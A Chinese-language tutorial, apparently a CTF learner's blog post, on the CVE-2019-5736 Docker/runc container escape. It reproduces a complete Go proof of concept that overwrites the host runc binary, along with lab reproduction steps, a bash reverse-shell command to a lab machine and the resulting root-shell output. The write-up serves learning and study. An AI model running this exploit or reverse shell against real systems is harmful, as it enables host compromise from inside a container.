近年来,有些pwn题会出一些有关于容器逃逸的题目,虽然很多都是板子题,但如果没有学过相关内容,比赛的时候还是会两眼一抹黑。因此本文将开始容器逃逸的相关内容学习。
笔者的计划是,通过具体的已发布的漏洞开始,逐步向底层逻辑前进。
在这第1篇文章中,我们从一个CVE漏洞开始------CVE-2019-5736,作为容器逃逸的入门。
主要参考资料:传送门(笔者觉得这篇文章写的非常好)
这是一个著名的Docker容器逃逸漏洞,影响范围为:Docker 18.09.2及以前,这些版本的Docker使用了1.0-rc6及以下的docker-runc从而导致漏洞。漏洞的成因是攻击者对主机的runc二进制文件进行重写,从而在提权的同时完成逃逸。下面我们就来具体了解一下这个漏洞本身。
1. Docker架构简介
要了解这个漏洞,首先就要了解docker-runc是干什么的。我们从这里可以下载到各种版本的Docker,其中大多都是压缩包。解压压缩包我们会发现其中有几个可执行文件:
- docker: Docker客户端程序,也是我们最常用的elf,用于对镜像、容器等进行操作。
- docker-containerd: 一个与Docker容器有关的守护进程,用于管理容器的创建、运行和销毁等操作。
- docker-containerd-ctr: 与docker-containerd交互的命令行程序。
- docker-containerd-shim: docker-containerd-ctr和docker-containerd的中间进程,负责通信等工作。
- dockerd: Docker服务器进程。我们需要知道的是,Docker是以CS架构开发的,平时使用docker命令实质上也都是在和dockerd这个本地的服务器进程进行交互。
- docker-init: 轻量级的初始化进程,用于完成容器创建时的初始化操作,并作为容器进程的父进程。
- docker-proxy: 网络代理程序,负责容器之间的通信。
- docker-runc: 轻量级的容器运行时工具,用于创建和运行容器,负责解析容器的配置并构建隔离环境。
也就是说,这个漏洞主要是对这个运行时工具进行攻击。
2. CVE-2019-5736介绍
这个漏洞的PoC可以在这里找到。
我们来结合这个PoC对这个漏洞的成因与利用方式进行分析。
golang
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
A. 覆盖/bin/sh
在PoC中可以看到,fmt.Fprintln
将/bin/sh这个二进制 文件的前面几个字节修改成了#!/proc/self/exe\n
,什么意思呢?这相当于迷惑了Linux系统,将它视作一个Linux Shell文件而不是ELF二进制可执行文件。通过这种覆盖,/bin/sh仍然可以执行,但实际上它完成的将不再是/bin/sh原本的功能,而是跑去执行/proc/self/exe
这个文件。
那么/proc/self/exe
这个文件又是什么?为什么要执行这个文件呢?在文章开头的资料中给出了答案。
B. 找到docker-runc进程
在/proc
目录中,有很多以数字命名的目录,每一个数字都代表当前一个进程的进程号,而目录中则提供了与这个进程有关的文件,其中就有exe文件。这个文件是一个符号链接,指向创建这个进程的可执行文件或这个进程加载的动态链接库。
好,现在我们已经知道进程的可执行文件本身能够在/proc中找到,那么这和本文要讲的CVE有什么关系呢?这就需要了解一下docker-runc的工作原理了。在启动一个容器时,docker-runc会首先构建文件系统等配置,然后fork一次,在子进程调用容器的启动文件完成启动。这样做的结果是,docker-runc这个进程本身也能在容器的进程列表中找到。既然docker-runc在容器中也拥有一个进程号,我们就能够通过遍历所有进程找到它。
具体的遍历方法是:遍历所有进程的cmdline文件并查找runc字符串。cmdline文件顾名思义,保存了进程的命令行参数。如果docker-runc程序位于进程表中,runc一定能够在命令行参数中找到。
C. 尝试以只读方式打开runc文件
找到了我们要的进程号之后,我们就可以打开对应的exe文件了。但需要注意的是,这个文件本身是只读的,我们不能直接以读写模式打开,因此这里利用了一个/proc文件的特性。打开/proc目录下的文件时,不受mnt命名空间的影响,在进行权限检查后就能直接获得文件描述符。
对于一个普通路径下的文件,当进程打开这个文件时,mnt命名空间会对路径进行解析,并生成文件系统视图,确定进程是否能够打开这个文件。但是对于/proc目录则不受mnt命名空间的影响,这使得以其他权限打开文件描述符成为可能,也即------绕过了mnt命名空间的约束。经过与老师的讨论,我不将这个特性视为Linux系统的漏洞。
需要注意的是,打开这个文件本身需要在容器中具有root权限,如果没有,则可能还需要完成提权。
D. 以读写方式打开文件描述符
以只读方式打开exe文件后,可通过以读写方式打开文件描述符的方式绕过权限限制,打开exe文件,实际上就是docker-runc文件。考虑到Linux系统中不允许修改正在执行的程序文件,因此这里需要多次尝试,在docker-runc停止工作时以抢占的方式打开这个文件。
E. 篡改主机的docker-runc文件,注入payload
当docker-runc文件可写后,我们就可以向其中写入任意代码并执行。
3. CVE-2019-5736复现
A. 准备工作
为了复现这个漏洞,我们需要下载18.09.2以下版本的docker。这里推荐一个仓库,可以很方便地安装用于漏洞复现的docker环境:链接。下面是下载版本:
- docker: 18.03.1-ce
- 镜像:Ubuntu 16.04(这个需要注意,由于我们使用的docker版本比较低,如果下载18.04及以上的Ubuntu会报错:Error response from daemon: missing signature key,只能下载更低版本的Ubuntu。)
- 容器创建:docker run -it ubuntu:16.04 /bin/bash
B. 编译文件
最新版本的PoC中将要执行的命令移动到了命令行参数中,方便我们灵活地执行任意代码。PoC仓库:链接
bash
go build main.go
之后将编译好的PoC复制到docker容器。
C. 触发漏洞
笔者初学容器逃逸,按照网上的方法尝试了很多次,才终于找到漏洞触发的方法。最后发现是网上的方法说的不详细。
Step 1
在另一台虚拟机(192.168.198.135)中打开50000端口的监听,设置PoC的任意执行命令为反弹shell命令:
bash
bash -i >& /dev/tcp/192.168.198.135/50000 0>&1
Step 2
用bash作为命令行打开容器:
bash
docker exec -it <容器名> bash
Step 3
apt update,安装netcat。
复制PoC二进制ELF执行PoC代码,立即可以看到/bin/sh被覆盖的提示信息,但是一直找不到runc进程,这是因为目前docker还没有需要runc参与的任务。
Step 4
在主机另一个终端打开容器的命令行让PoC检测到runc。但这次一定要用/bin/sh打开命令行而不是bash。docker exec命令执行后瞬间就可以看到runc进程被修改的提示信息。在新的终端中用sh无法打开容器的命令行,显示No help topic for '/bin/sh'
。
Step 5
在新的终端再一次尝试用sh打开容器的命令行,随后命令行阻塞,成功执行反弹shell代码,下面是攻击者机器的部分命令行显示内容:
bash
root@colin-virtual-machine:~/Desktop# nc -vv -lp 50000
Listening on 0.0.0.0 50000
Connection received on 192.168.198.xxx 42248
bash: cannot set terminal process group (8750): Inappropriate ioctl for device
bash: no job control in this shell
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# ls
ls
16505d598214f0c33ba21d8e96f5ecf34db215d32ba229527a67314d7ed96c7a.pid
config.json
init.pid
log.json
rootfs
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# uname -a
uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# pwd
pwd
/run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/cf90012c3bea6ddebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339#
复现完毕。